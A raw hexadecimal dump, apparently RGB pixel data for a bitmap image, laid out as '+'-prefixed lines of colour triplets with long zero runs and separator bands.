+000000000000000000000000000000000000000000000000000000000000000000EDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000 +0F19068AE2348AE23433541304060168AA278AE23482D53100000003050180D2308AE2343C6116 +000000395D158AE23482D63105080204070282D5318AE234395D150102005F9B248AE2348AE234 +04070200000000000000000000000000000000000000000000000000000005090283D63189E134 +1C2D0A0000000B130480D2308AE23418280900000000000066A7268AE23469AC288AE2346CB029 +01020000000005090283D63189E1341C2D0A0000000B130480D2308AE234182809000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000002E4154729FCF304357 +2E4154729FCF34485E29394A729FCF2C3E500000004F6E8F729FCF2A3B4D0000000000000E1319 +0C1116000000080C0F729FCF729FCF2331406B95C2222F3E729FCF729FCF0C1015000000000000 +425C78729FCF729FCF729FCF507091050709000000000000000000000000000000000000000000 +000000000000000000080C0F729FCF729FCF2331406B95C2222F3E729FCF729FCF0C1015020304 +729FCF729FCF729FCF6A93C0719ECD729FCF4A68870000000000000000000000000000004F6E8F +729FCF3B536C000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000006891BC729FCF496685000000 +141C25729FCF729ECE0D1318000000314458729FCF6B96C318222C000000090D112D3E51000000 +0000001D283410161D00000000000010161C729FCF6E9AC90102020000006891BC729FCF496685 +000000141C25729FCF729ECE0D1318000000000000000000000000000000000000000000000000 +0000000406086C97C4729ECE172029000000090D116A94C0729FCF141C25000000000000547599 +729FCF57799D729FCF597CA20101020000000000000000000B0F13729FCF729FCF05070A000000 +000000000000000000000000648CB6729FCF5A7DA305070A00000003040510161C0000001D2834 +10161D00000000000010161C729FCF6E9AC9010202000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000005F9C248AE234335413000000 +000000111B060F18060000000D150588DF338AE2342D4A1102040164A3268AE23482D531000000 +0000000000001827098AE23488DF33000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000007ECE2F8AE2345991210000001828098AE23489E134 +101B060000005992228AE23447751B0000003D63178AE23464A426000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000052861F +8AE234131F07253D0E59912128410F101A068AE234568C2000000000000000000027400F8AE234 +77C32D00000000000000000000000066A7268AE2345890210000003A60168AE23469AC28000000 +00000000000066A7268AE23469AC288AE2346CB0290102000000000000007ECE2F8AE234599121 +0000001828098AE23489E134101B06000000000000000000000000000000000000000000000000 +0000000000007ECE2F8AE2345991210000001828098AE23489E134101B060000005992228AE234 +47751B0000003D63178AE23464A426000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED00000028410F8AE23481D331010200000000 +2F4C128AE23482D5310000001B2C0A8AE23485DA3203040100000002030182D6318AE2341F330C +1725098AE23485DA32030401000000233A0D8AE2348AE234040702000000000000000000000000 +00000000000000000000000000000021360C8AE23487DD3364A32664A32664A32681D4318AE234 +335413000000000000121D0785D9328AE23487DD3317260900000000000021360C8AE23487DD33 +64A32664A32664A32681D4318AE234335413000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000002E4154729FCF29394B273747729FCF2D3E51222F3E729FCF +32465B0000003F5872729FCF6C96C4435E7A222F3D020304000000000000090C10729FCF729FCF +222F3E668FBA212E3B729FCF729FCF0C1015000000263646719ECD729ECE6790BC729ECE6992BE +1A2530000000000000000000000000000000000000000000000000000000000000090C10729FCF +729FCF222F3E668FBA212E3B729FCF729FCF0C1015040506729FCF729FCF4966850000001C2732 +729FCF719ECD05070A000000000000000000080B0E6F9BCA729FCF131A22000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000006891BC729FCF243342000000000000638AB3729FCF1F2B38000000 +4D6C8C729FCF405A750000000000000000000000000000000000000405062B3C4F435E7A4A6887 +4C6989729FCF729FCF090D110000006891BC729FCF243342000000000000638AB3729FCF1F2B38 +00000000000019242E202D3A202D3A202D3A1A25300000000000001B2632729FCF6F9BCA527395 +5273955273956B95C2729FCF2A3B4D0000000000000F151B6E99C7729FCF6F9BCA131B23000000 +0000000000000000000B0F13729FCF729FCF05070A000000000000000000000000000000648CB6 +729FCF2B3C4E0000000000000000000000000000000405062B3C4F435E7A4A68874C6989729FCF +729FCF090D11000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000004C7D1D8AE23482D63151851F29420F03040100000000000022370D +8AE2347FD0300000000000002C48118AE23482D5310000000000000000001827098AE23488DF33 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE2342C481100000000000078C42D8AE234253D0E000000263F0E8AE23475C02C +00000069AC288AE234335413000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000003B61168AE234263F0E51841E8AE234548920 +243A0D8AE2343F671800000000000000000027400F8AE23477C32D000000000000000000000000 +66A7268AE2343A5F1600000028420F8AE23474BE2C000000000000000000121D0785D9328AE234 +87DD331726090000000000000000007ECE2F8AE2342C481100000000000078C42D8AE234253D0E +0000000000000000000000000000000000000000000000000000000000007ECE2F8AE2342C4811 +00000000000078C42D8AE234253D0E000000263F0E8AE23475C02C00000069AC288AE234335413 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDED0000002D4A118AE23473BD2B0000000000001F330C8AE23482D531000000253C0E +8AE2347AC82E00000000000000000077C22D8AE23429420F23390D8AE2347AC72E000000000000 +1522088AE2348AE234040702000000000000000000000000000000000000000000000000000000 +2B47108AE2348AE2348AE2348AE2348AE2348AE2348AE2343A5F1600000000000000000067A927 +8AE2346FB62A0000000000000000002B47108AE2348AE2348AE2348AE2348AE2348AE2348AE234 +3A5F16000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +2E4154729FCF29394B273747729FCF2D3E51222F3E729FCF33485D000000080C0F517194729ECE +729FCF729FCF658CB7121920000000030405729ECE729FCF10161C0000000D1117729FCF729FCF +050709000000658DB7729FCF1E29360000001C2732729ECE6289B2000000000000000000000000 +000000000000000000000000000000000000030405729ECE729FCF10161C0000000D1117729FCF +729FCF0507090000006F9BCA729FCF243241000000000000658DB7729FCF131B23000000000000 +0000002E4053729FCF5C80A7000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000006891BC +729FCF1D29350000000000005C80A7729FCF28374800000056789C729FCF32465B000000000000 +00000000000000000001020255769A729FCF729FCF729FCF729FCF729FCF729FCF0D1117000000 +6891BC729FCF1D29350000000000005C80A7729FCF2837480000000000005B7FA6729FCF729FCF +729FCF5F84AC000000000000243241729FCF729FCF729FCF729FCF729FCF729FCF729FCF304357 +00000000000000000055779B729FCF5C80A60000000000000000000000000000000B0F13729FCF +729FCF05070A000000000000000000000000000000648CB6729FCF212E3B000000000000000000 +00000001020255769A729FCF729FCF729FCF729FCF729FCF729FCF0D1117000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000000A1104 +62A12589E1348AE2348AE2347AC72E1623080000002C48118AE23473BD2B0000000000001F330C +8AE23482D5310000000000000000001827098AE23488DF33000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000007ECE2F8AE234233A0D000000 +0000006FB72A8AE234304F120000000203017CCB2F8AE234253C0E89E03485DA32070C03000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000243A0D8AE2343A60166BAF287DCD2F6EB429385B158AE23428410F000000000000 +00000027400F8AE23477C32D00000000000000000000000066A7268AE23436591400000027400F +8AE23475BF2C00000000000000000000000067A9278AE2346FB62A000000000000000000000000 +7ECE2F8AE234233A0D0000000000006FB72A8AE234304F12000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE234233A0D0000000000006FB72A8AE234304F12 +0000000203017CCB2F8AE234253C0E89E03485DA32070C03000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED00000022370D8AE234 +7BCA2E00000000000028420F8AE23482D5310000001B2C0A8AE23485DA32030401000000020301 +82D6318AE2341F330C1828098AE23484D83202030100000021360C8AE2348AE234040702000000 +00000000000000000000000000000000000000000000000022380D8AE23481D331000000000000 +0000000000000000000000000000000000002E4B118AE2348AE2348AE234355714000000000000 +22380D8AE23481D331000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000002E4154729FCF29394B273747729FCF +2D3E51222F3E729FCF34485E0000000000000000000D11172C3D505D81A8729FCF4B6988000000 +000000658CB7729FCF202C3A0000001D2834729FCF6790BC000000030406729FCF6A94C1000000 +0000000000006790BC729FCF06080B000000000000000000000000000000000000000000000000 +000000000000658CB7729FCF202C3A0000001D2834729FCF6790BC0000000000006187AF729FCF +243241000000000000658DB7729FCF0F151B00000000000000000056789D729FCF33485D000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000006891BC729FCF2A3B4C0000000000006891BC +729FCF1F2B380000004E6C8D729FCF405974000000000000000000000000000000161F28729FCF +729FCF2C3D5005070A06090B729FCF729FCF0D11170000006891BC729FCF2A3B4C000000000000 +6891BC729FCF1F2B380000000000005B7FA6729FCF729FCF729FCF5F84AC0000000000001C2733 +729FCF6A94C1000000000000000000000000000000000000000000000000263545729FCF729FCF +729FCF2C3D500000000000000000000000000B0F13729FCF729FCF05070A000000000000000000 +000000000000648CB6729FCF202D3A000000000000000000000000161F28729FCF729FCF2C3D50 +05070A06090B729FCF729FCF0D1117000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000F190635571470B72A8AE234 +5B952200000022370D8AE2347FD0300101000000002D4A118AE23482D531000000000000000000 +1725098AE23489E134010100000000000000000000000000000000000000000000000000000000 +0000000000000000000000007ECE2F8AE2343353130000000000007ECE2F8AE234253D0E000000 +0000004B7B1C8AE23478C42D8AE2345C9723000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000D15058AE23450821E +84D83245711A86DB324E801D8AE234111B0600000000000000000027400F8AE23477C32D000000 +00000000000000000066A7268AE23436591400000027400F8AE23475BF2C000000000000000000 +2E4B118AE2348AE2348AE2343557140000000000000000007ECE2F8AE234335313000000000000 +7ECE2F8AE234253D0E000000000000000000000000000000000000000000000000000000000000 +7ECE2F8AE2343353130000000000007ECE2F8AE234253D0E0000000000004B7B1C8AE23478C42D +8AE2345C9723000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDED0000000D150589E0348AE2341B2C0A00000053881F8AE234 +82D53100000003040180D2308AE2343A6016000000385B158AE23482D631050802060A0285D932 +8AE234315012000000578F218AE2348AE234040702000000000000000000578F2179C72E599121 +000000000000000000070C0385D9328AE234385C150000000000000B120444701A090E03000000 +090F037ECE2F8AE2343D63178AE23481D3310C1405000000070C0385D9328AE234385C15000000 +0000000B120444701A090E03000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000002E4154729FCF29394B273747729FCF2D3E51222F3E729FCF34485E000000 +1B2632080C0F0000000000001F2C39729FCF587A9F000000000000486482729FCF506F90070A0D +4C6B8B729FCF4966850000000000006891BC729FCF1E2A370000001E2936729ECE6C97C4000000 +000000000000000000000000000000000000000000000000000000000000486482729FCF506F90 +070A0D4C6B8B729FCF49668500000000000045607D729FCF4A68870001011C2733729FCF6D98C6 +0202030000000000000D1218729ECE719ECD0C1015000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000006891BC729FCF597BA1040607273647729FCF729ECE0D131800000032455A729FCF +6B95C217202A000000080B0F2C3E500000001D2935729FCF729ECE0202030000001F2C39729FCF +729FCF0D11170000006891BC729FCF597BA1040607273647729FCF729ECE0D1318000000000000 +00000000000000000000000000000000000000000006080B6E99C7729FCF2E4154000000000000 +090C10384F66070A0D000000080B0E6891BC729FCF32465B729FCF6A94C10A0E13000000000000 +000000070A0D729FCF729FCF0F151B000000000000000000000000000000648CB6729FCF202D3A +0000000000000000000000001D2935729FCF729ECE0202030000001F2C39729FCF729FCF0D1117 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000021360C0A1104000000000000263E0E8AE2346AAE280000000E160589E0348AE234 +31511304060166A7268AE23482D5310000000000000000000D15058AE2348AE234192909000000 +000000000000000000000000000000578F2179C72E5991210000000000000000000000007ECE2F +8AE2346BAF280508022F4D128AE23489E134101B060000000000001827098AE2348AE2348AE234 +2B4610000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000080D23078C42D89E1340D150588DE3378C42D84D832 +01010000000000000000000027400F8AE23477C32D00000000000000000000000066A7268AE234 +36591400000027400F8AE23475BF2C000000000000090F037ECE2F8AE2343D63178AE23481D331 +0C14050000000000007ECE2F8AE2346BAF280508022F4D128AE23489E134101B06000000000000 +000000578F2179C72E5991210000000000000000000000007ECE2F8AE2346BAF280508022F4D12 +8AE23489E134101B060000000000001827098AE2348AE2348AE2342B4610000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000EDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +000000000000609D248AE2347FD03067A82786DB328AE23482D5310000000000003C61168AE234 +8AE23481D4318AE2348AE23440691800000000000051841E8AE23489E0347BCA2E88DE338AE234 +8AE23404070200000000000000000064A3268AE23466A72600000000000000000000000044701A +8AE2348AE2347ECF307BCA2E8AE2348AE2340B1204000000578E218AE234619F250000005D9823 +8AE2345C972300000000000044701A8AE2348AE2347ECF307BCA2E8AE2348AE2340B1204000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000002E4154729FCF +29394B273747729FCF2D3E51222F3E729FCF34485E00000046617F6E9AC95A7DA35070916993BF +729FCF3E5670000000000000151D26709CCB729FCF729FCF729FCF709DCC161F29000000000000 +3A516A729FCF729ECE6992BE729ECE729FCF415A76000000000000000000000000000000000000 +000000000000000000000000000000151D26709CCB729FCF729FCF729FCF709DCC161F29000000 +000000141C256F9BCA729FCF6B95C2719ECD729FCF3B536C000000000000000000354A61729FCF +547599000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000006891BC729FCF6A94C0 +709CCB729FCF729FCF52729500000000000006080B6289B3729FCF729FCF6B95C2729FCF587A9F +000000070A0D6A94C0729FCF476380314559668EB9729FCF729FCF0D11170000006891BC729FCF +6A94C0709CCB729FCF729FCF527295000000000000000000000000000000000000000000000000 +000000000000000000384F66729FCF729FCF6891BD668EB9729FCF729FCF090C10000000486482 +729FCF5070910000004D6B8C729FCF4C6A8A000000000000000000000000658CB7729FCF6891BD +587A9F4B6988000000000000000000648CB6729FCF202D3A000000000000000000000000070A0D +6A94C0729FCF476380314559668EB9729FCF729FCF0D1117000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000548A2086DB326DB229 +619F257FD0308AE2344B7A1C000000000000619F258AE2348AE23487DE3380D1308AE23482D531 +00000000000000000000000075BF2C8AE23482D5316BAF286AAE28020301000000000000000000 +64A3268AE23466A7260000000000000000000000007ECE2F8AE23480D23087DE338AE2348AE234 +63A2250000000000000000000000006FB72A8AE23481D331030501000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000006AAE288AE23473BD2B0000006FB72A8AE2346EB42900000000000065A5266AAE2873BC2B +8AE23486DB326AAE286AAE28385C1500000066A7268AE23436591400000027400F8AE23475BF2C +000000000000578E218AE234619F250000005D98238AE2345C97230000000000007ECE2F8AE234 +80D23087DE338AE2348AE23463A22500000000000000000000000064A3268AE23466A726000000 +0000000000000000007ECE2F8AE23480D23087DE338AE2348AE23463A225000000000000000000 +0000006FB72A8AE23481D331030501000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED0000000000000E170565A62686DC33 +72BB2B375A158AE23482D531000000000000000000395D1577C22D87DE3377C32D3C6116000000 +000000000000060B025A932285DA327AC82E3D64178AE23489E134010200000000000000000000 +64A3268AE23466A726000000000000000000000000000000375A1571B92B86DC3383D63172BB2B +4A791C040601253D0E8AE23489E03418280900000015230888DF338AE2342A4410000000000000 +375A1571B92B86DC3383D63172BB2B4A791C040601000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000002E4154729FCF29394B273747729FCF2D3E51222F3E +729FCF34485E0000002534435476996891BD6F9BCA658EB8425C77040608000000000000000000 +222F3E5F84AC6F9BCA6085AE243241000000000000000000020304364B626187B06E99C86289B3 +3A5069040506000000000000000000000000000000000000000000000000000000000000000000 +000000222F3E5F84AC6F9BCA6085AE2432410000000000000000000000001F2B385B7FA66F9BC9 +6992BE3F58720203040000000000000000005E83AA729FCF2B3C4F000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000006891BC729FCF29394A5A7DA36F9BC95475990D1117000000 +0000000000000C10154966846A93C06E99C85D82AA2B3C4E0000000000001B26325A7EA46E99C8 +658CB72C3E50729FCF729FCF0D11170000006891BC729FCF29394A5A7DA36F9BC95475990D1117 +0000000000000000000000000000000000000000000000000000000000000000000000002E4053 +5D82AA6F9BC96C97C45E84AB3D556F0304061F2B38729FCF719ECD141C25000000111820719DCD +729FCF22303F0000000000000000001E2A365D81A86F9BC9729FCF6289B3000000000000000000 +648CB6729FCF202D3A0000000000000000000000000000001B26325A7EA46E99C8658CB72C3E50 +729FCF729FCF0D1117000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000002D4A1166A8277ECF3087DD337BC92E50821E050902000000 +0000000E170564A42686DC336EB4292F4C128AE23482D531000000000000000000000000192909 +6BAF2885DA328AE2348AE23402040100000000000000000064A3268AE23466A726000000000000 +0000000000007ECE2F8AE2343151136DB22986DC3366A7260F1906000000000000000000000000 +4B7A1C8AE23453881F000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000053881F8AE234568D20000000 +52861F8AE234578F2100000000000084D8328AE2348AE2348AE2348AE2348AE2348AE2344A791C +00000066A7268AE23436591400000027400F8AE23475BF2C000000253D0E8AE23489E034182809 +00000015230888DF338AE2342A44100000007ECE2F8AE2343151136DB22986DC3366A7260F1906 +00000000000000000000000064A3268AE23466A7260000000000000000000000007ECE2F8AE234 +3151136DB22986DC3366A7260F19060000000000000000000000004B7A1C8AE23453881F000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDED000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000111B060B1204000000 +0000003B61168AE23479C72E000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +6891BC729FCF1B2531000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000006891BC729FCF1B2531000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 